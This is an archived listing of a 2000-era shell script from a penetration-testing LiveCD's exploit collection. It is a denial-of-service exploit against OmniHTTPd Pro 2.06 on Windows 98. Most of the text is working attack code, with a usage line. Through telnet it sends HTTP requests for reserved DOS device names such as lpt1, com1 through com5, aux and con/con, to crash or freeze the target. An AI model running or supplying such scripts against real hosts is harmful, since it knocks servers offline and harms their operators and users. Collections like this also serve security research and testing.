home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / omni / omni-httpd.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  54 lines

  1. #!/bin/sh
  2. #
  3. # Vulnerable versions:
  4. #     Omni Httpd pro v.2.06 Win98 (NT not tested)
  5. # The problem:
  6. #     It is possible to crash remote system because
  7. #     OmniHttpD (version: Pro. v2.06, maybe others)
  8. #     parse the path strings to call some FAT32/VFAT
  9. #     routines in the kernel which makes your system
  10. #     unstable and useless until next reboot.
  11. #
  12. # Fix:
  13. #     Unknown for now, I mailed Omnicron Technologies
  14. #     they will probably fix this bug in next version.
  15. #
  16. # About:
  17. #     Discovered by: sirius from b0f         
  18. #     Coded by: sirius from buffer0vefl0w security (b0f)
  19. #     [http://b0f.freebsd.lublin.pl]
  20.  
  21. if [ "$1" = "" ]; then 
  22.     echo "OmniHTTPd v.2.06 DoS attack"
  23.     echo
  24.     echo "Coded: sirius from buffer0vefl0w security (b0f)"
  25.     echo "[http://b0f.freebsd.lublin.pl]"
  26.     echo
  27.     echo "Usage: $0 <host> <port>"
  28.     echo
  29.     exit 1
  30. fi
  31.  
  32. echo "Launching attack ... please wait "
  33.  
  34. # this will crash some devices, but if modem is on comX the code after line with comX will not 
  35. # be executed ... you can change the order of execution ;)
  36.  
  37. (echo "GET /lpt1" ; sleep 5) | telnet $1 $2 1>/dev/null 2>/dev/null
  38. (echo "GET /lpt2" ; sleep 5) | telnet $1 $2 1>/dev/null 2>/dev/null
  39. (echo "GET /com1" ; sleep 5) | telnet $1 $2 1>/dev/null 2>/dev/null
  40. (echo "GET /com2" ; sleep 5) | telnet $1 $2 1>/dev/null 2>/dev/null
  41. (echo "GET /com3" ; sleep 5) | telnet $1 $2 1>/dev/null 2>/dev/null
  42. (echo "GET /com4" ; sleep 5) | telnet $1 $2 1>/dev/null 2>/dev/null
  43. (echo "GET /com5" ; sleep 5) | telnet $1 $2 1>/dev/null 2>/dev/null
  44.  
  45. # the following code will crash/freeze/make system busy/how to call it? system
  46.  
  47. (echo "GET /aux" ; sleep 5) | telnet $1 80 1>/dev/null 2>/dev/null
  48. (echo "GET /con/con" ; sleep 5) |telnet $1 80 1>/dev/null 2>/dev/null
  49.  
  50. echo "Crash code send ..."
  51. killall -9 telnet 2>/dev/null 1> /dev/null
  52. echo "Done!"
  53. #                    www.hack.co.za           [10 May 2000]#